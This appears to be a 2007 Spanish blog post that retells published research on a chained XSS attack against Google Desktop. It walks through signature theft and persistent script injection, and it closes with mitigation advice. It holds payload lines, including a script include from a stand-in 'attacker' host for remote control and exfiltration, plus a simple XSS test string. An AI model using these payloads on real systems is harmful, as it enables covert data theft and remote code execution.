Nimrod’s Sons

Apoderándose de ‘Google Desktop’

by darkslaker on Feb.23, 2007, under Hacking

Apoderándose de ‘Google Desktop’
Por Murena Myrope Lavin Martinez

Google Desktop es una herramienta de escritorio ‘freeware’ popular ofrecida por Google. Tiene una interfase Web simple que hace posible usar el navegador para buscar información en la computadora local.

Existe un método de ataque contra la aplicación de ‘Google Desktop’ que permite a un individuo malicioso lograr acceso remoto y persistente a información sensible así como control completo del sistema afectado.

Este problema es el resultado de la integración entre el sitio Web de Google.com y la falla de Google Desktop al codificar salidas que contengan caracteres maliciosos o inesperados.

Este ataque representa un ejemplo real de una nueva generación de ataques a las computadoras. Estos ataques toman ventaja de las vulnerabilidades en aplicaciones Web y el poder cada vez mayor de los navegadores Web. El propósito es acceder remotamente a información privada. A diferencia de los ataques de penetración tradicionales, en este caso no hay necesidad de inyectar código binario.

En este ataque se utiliza código de JavaScript para controlar la funcionalidad de Google Desktop. El atacante puede secuestrar información confidencial del sistema y evadir los sistemas de protección de información como antivirus y firewalls.

El ataque pone énfasis en el peligro de la integración entre aplicaciones de escritorio y aplicaciones basadas en Web, ya que abre un hueco para los atacantes maliciosos al escalar sus privilegios al cruzar del ambiente Web al ambiente de escritorio.

Google Desktop

La aplicación de Google Desktop puede indexar y manejar una gran variedad de recursos incluyendo documentos de Office, archivos multimedia, archivos comprimidos, cache de historial Web, y sesiones de chat. Es posible también indexar y manejar documentos protegidos con contraseña y páginas web encriptadas, aunque estas características están deshabilitadas por default.

Google Desktop también puede monitorear la actividad del usuario al revisar y editar archivos, escribir y leer correos electrónicos y navegar por la Web. Crea copias en cache de la información y permite al usuario acceder a ella en otro momento. Por esta razón es posible buscar y acceder a la información desde el cache incluso después de que el correo electrónico original o archivo ya no exista en el sistema.

Google Desktop corre como un servidor Web local que esta ligado al puerto 4664 en la interfase de red del equipo local. Por seguridad, sólo responde a las solicitudes originadas desde el equipo local.

Integración de Google Desktop y el sitio público de Google.com

Un característica de la aplicación de Google Dektop es su similitud con el sitio Web de Google.com. Cuando se realizan búsquedas de información utilizando Google.com, además de presentar los resultados Web también se presentan los resultados que proporciona Google Desktop. Estos resultados de búsquedas locales los realiza la aplicación local de Google Desktop.

Esta característica puede resultar muy útil pero representa un grave riesgo de seguridad. Si se explota una vulnerabilidad de Cross Site Scripting (XSS) en Google.com contra un usuario de Google Desktop, un atacante malicioso puede acceder la porción local de la información de la computadora.

Este riesgo es mitigado en las versiones más actuales de Google Desktop ya que:

  1. La integración de los resultados de Google Desktop con Google.com es opcional. Se puede deshabilitar mediante la opción de ‘Display’ en la ventana de ‘Desktop Preferences’.
  2. Los resultados de la integración son parciales, solo se muestra un pequeño texto al usuario. Los contenidos completos del resultado únicamente pueden ser accedidos mediante la interfase local de Google Desktop.

Mecanismos de Protección

  1. Filtrado de conexiones. El servidor Web corre en el equipo local por el puerto 4664. Únicamente maneja conexiones que se originen de y hacia el equipo local 127.0.0.1.
  2. Firmas de protección. Cuando se instala, Google Desktop genera un llave aleatoria de 64 bits que se guarda en el registro fuse_data. Esta llave se utiliza para crear firmas únicas para diferentes páginas Web en el servidor Web local. Cada petición al servidor de Google Desktop local debe contener la firma para la petición específica. Esta firma cambia en cada equipo y en cada página Web. Este mecanismo de firmas proporciona una defensa contra ataques de XSS o Cross Site Request Forgery (CSRF). Para poder explotar esas vulnerabilidades, el atacante necesitaría conocer la firma válida del script vulnerable en el equipo local.

Vulnerabilidad de XSS en Google Desktop

La aplicación de Google Desktop permite al usuario realizar búsquedas de distintas formas. Una de ellas es la búsqueda de información bajo directorios específicos en el disco duro o en un dispositivo en red. Esta característica se puede configurar en la página de ‘Advanced Search’.

Se utiliza el parámetro under para realizar este tipo de búsquedas. El parámetro under puede ser pegajoso ya que los tres anteriores peticiones de under se regresan en la página de resultados. El parámetro de búsqueda under contiene una vulnerabilidad ya que es posible ejecutar scripts maliciosos utilizándolo. Por ejemplo:

under:<script>alert(‘Hacked’) :</script>

Para hacer la experiencia de navegación más rápida en el sitio Web de Google Desktop, las respuestas de las búsquedas relacionadas de Google Desktop contienen los contenidos de la página de ‘Advanced Search’ aunque se encuentran ocultos visualmente al usuario. Cuando el usuario da click en el enlace de ‘Advanced Search’ dentro de una página de búsqueda, está es cargada inmediatamente sin enviar una solicitud al servidor Web de Google Desktop.

Debido a que los parámetros de búsquedas avanzadas se incluyen en todas las páginas de búsqueda, desde el momento en que se ejecuta el comando under malicioso en la aplicación de Google Desktop, se queda pegado. Cada que un usuario realice una búsqueda por medio de la interfase Web de Google Desktop, el código malicioso de JavaScript también se ejecutará en el fondo.

Descripción del ataque

Este ataque puede saltarse los mecanismos de protección mencionados anteriormente y permitir a un atacante insertar código de JavaScript Malicioso en Google Desktop. Esto se realiza al tomar ventaja de la integración de Google Desktop con el sitio Google.com, así como de la vulnerabilidad de XSS descubierta en el parámetro under.

  1. Explotar una vulnerabilidad de XSS en Google.com para incluir el código de JS. El vector inicial de ataque es la explotación de cualquier vulnerabilidad de XSS que se encuentre en el dominio de Google.com. El año pasado se descubrieron múltiples vulnerabilidades dentro de las aplicaciones y sitios de Google. La víctima debe acceder a una URL especialmente elaborada que apunte a una página Web vulnerable en: http://www.google.com. Esto se pude realizar al engañar al usuario para que de clic en el link malicioso utilizando ingeniería social o al tomar ventaja de las vulnerabilidades Web de otros sitios como lo que realizan los gusanos Samy y Yamanner. Después de que la víctima carga la página con la vulnerabilidad de XSS, se ejecuta el código malicioso de JavaScript. Este es el clásico ataque en Google.com que permite al atacante controlar el navegador de la víctima. La limitación es que el script únicamente puede interactuar con el dominio de Google.com.
  2. Enviar una búsqueda estándar a Google.com en el fondo. En este paso, el código malicioso de JavaScript trata de encontrar la firma única de la página de búsquedas de Google Desktop que se encuentra instalada localmente. Envía una solicitud que corre en el fondo a Google.com, utilizando el objeto XmlHttpRequest. Por ejemplo: http://www.google.com/search?q=Nimrod.
  3. Se adquiere la firma de la página de búsquedas de Google Desktop. Cuando se obtiene una respuesta de Google.com, la aplicación de Google Desktop la intercepta y agrega un enlace a Google Desktop. Este enlace tiene la siguiente estructura: http://127.0.0.1:4664/search&s=<UNIQUE_SIGNATURE>?q=<QUERY_STRING>

Utilizando expresiones regulares, el código malicioso que se inyecto en el paso 1, obtiene la firma única que es utilizada para el enlace de Google Desktop. Esta expresión regular puede tener la siguiente forma: ‘http://127.0.0.1:4664/search&s=([^?]+)?q=[^’]+’
Que se utiliza para obtener la firma única.

  1. Infectar el navegador de la víctima. En este paso final el código de JavaScript salta al contexto de Google Desktop y lo infecta con un código malicioso y pegajoso de JavaScript. Esto se realiza al reemplazar la cadena estándar de búsqueda con la referencia maliciosa de JavaScript y al enviar una solicitud ciega (utilizando el IFRAME invisible por ejemplo) al Google Desktop:

http://127.0.0.1:4664/search&s=<UNIQUE_SIGNATURE>?q=<MALICIOUS_QUERY_STRING>
se transforma en:
http://127.0.0.1:4664/search&s=<STEP_3_ACQUIRED_SIGNATURE>?q=under:”<script src=’http://attacker/infect.js’></script>”
La respuesta a la solicitud ciega se carga en el IFRAME invisible y el código de JavaScript es ejecutado. En este punto el atacante tiene un control completo y persistente de la aplicación de Google Desktop de la víctima. El atacante puede realizar búsquedas de información privada en el equipo víctima y enviársela a http://attacker.

Características del ataque

La naturaleza de la vulnerabilidad explotada en este ataque permite al atacante instalar malware de JavaScript persistente. Cada vez que la víctima realice búsquedas utilizando Google Desktop, el script malicioso se ejecutará en el fondo sin llamar la atención. Ya que el payload malicioso es un código pequeño de HTML, se fusiona sin ser notado, dentro del código HTML legítimo del Google Desktop.

Control remoto. El malware de JavaScript puede ser controlado remotamente al cargar comandos dinámicos de un sitio Web externo utilizando la directiva de inclusión de JavaScript: <script src=’http://attacker/infect.js’>. Es posible utilizar plataformas como XSS Proxy para establecer comunicación bidireccional entre los equipos atacados y el atacante.

Control persistente. El malware de JavaScript se coloca como una de las últimas búsquedas del parámetro under. Si el usuario utiliza la búsqueda under varias veces seguidas, el script puede ser quitado del histórico. Sin embargo, para asegurarse de que el malware no es removido por las utilización del parámetro under del usuario, se puede configurar el código malicioso para que reinfecte el sistema cada vez que detecte la utilización del parámetro under. Esto se puede realizar al activar una búsqueda en Google Desktop que corra oculta.

Comportamiento tipo virus. El ataque afecta a la computadora local de la víctima y tiene un impacto similar a un virus/malware binario de computadoras. Sin embargo, difiere de los ataques tradicionales por varias razones:

  1. El código malicioso no reside en el disco duro como un archivo binario que pueda atraer la atención de la víctima.
  2. El atacante no necesita formas sofisticadas para cargar la lógica maliciosa; esto se realiza automáticamente por el navegador cada vez que se visitan páginas de Google Desktop.
  3. El código malicioso es ejecutado por el navegador. No corre como un proceso propio.
  4. Actualmente los antivirus y firewalls no pueden bloquear ataques de malware de JavaScript. El código malicioso puede mutar y encriptarse para evadir IDS.
  5. Es posible extraer información de la computadora local y hacer que parezca como solicitudes codificadas a un sitio Web externo.

Impacto

Poder realizar búsquedas en la computadora local. Incluyendo documentos de Office, multimedia, correos (incluso los borrados), cache de historial Web, sesiones de Chat, cronología de actividades realizadas por el usuario en el equipo. Es posible hacer búsquedas por las palabras ‘confidencial’ o ‘secreto’ para encontrar información confidencial; búsquedas por ‘username’ o ‘password’ para obtener contraseñas; búsquedas por ‘banco’ para obtener información bancaria. La opción de ‘TimeLine View’ de Google Desktop presenta un log cronológico de los archivos editados por el usuario y los sitios Web visitados, así como versiones en cache de ambos.

Habilitar características deshabilitadas en Google Desktop. Las características que mayor impacto tienen en la seguridad son las siguientes: ‘Password-protected Office Documents’ permite a Google Desktop indexar archivos protegidos por contraseña. ‘Secure Pages /HTTPS in Web history’ permite a Google Desktop indexar páginas web seguras. Existe una vulnerabilidad de Google Desktop que puede ser utilizada para esconder estos cambios y que el usuario no pueda notarlos.

Búsqueda entre computadoras. Permite buscar páginas Web y documentos entre todas las computadoras de la víctima. Para activar esta característica se requiere que todas la máquinas tengan Google Desktop instalado y una cuenta de Google.

Control completo del sistema. Es posible lanzar aplicaciones por medio de la interfase Web de Google Desktop. Al enviar una solicitud desde Google Desktop se puede forzar al sistema atacado para que abra archivos automáticamente con su aplicación asociada. Es posible ejecutar archivos de tipo .exe. Por ejemplo: filetype:exe winword

20070223134251104_1

Recomendaciones

  1. Google desarrollo un parche que mitiga este ataque. Se recomienda actualizar la versión de Google Desktop.
  2. Se deben evaluar los parámetros de seguridad del navegador Web.
  3. Se debe deshabilitar la integración entre las aplicaciones Web públicas y las aplicaciones de escritorio.
  4. Los vendedores de antivirus deben tomar en cuenta este riesgo y desarrollar formas creativas de detectar y defender contra este tipo de ataques de malware JavaScript.

Conclusiones

Por varias razones este ataque se puede considerar casi perfecto:

  1. El footprint es pequeño y prácticamente indetectable.
  2. Lo firewalls no pueden hacer nada para mitigar el ataque o el envío de información confidencial.
  3. El software de antivirus no puede proteger a la víctima
  4. El ataque es persistente entre diferentes sesiones y navegadores.
  5. El impacto potencial es el control completo de la computadora víctima.

Este ataque fue posible gracias a una sola vulnerabilidad de XSS y a la integración entre el sitio de Google.com y la aplicación local de Google Desktop. Mientras que el ataque de XSS se considera inofensivo, combinado con aplicaciones de alta sensibilidad y capacidades poderosas como Google Desktop, su impacto se hace muy alto.

Referencias:
http://www.watchfire.com/resources/Overtaking-Google-Desktop.pdf
http://download.watchfire.com/googledesktopdemo/index.htm

Bookmark and Share
:
No comments for this entry yet...

Leave a Reply

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Búsqueda personalizada

Visit our friends!

A few highly recommended friends...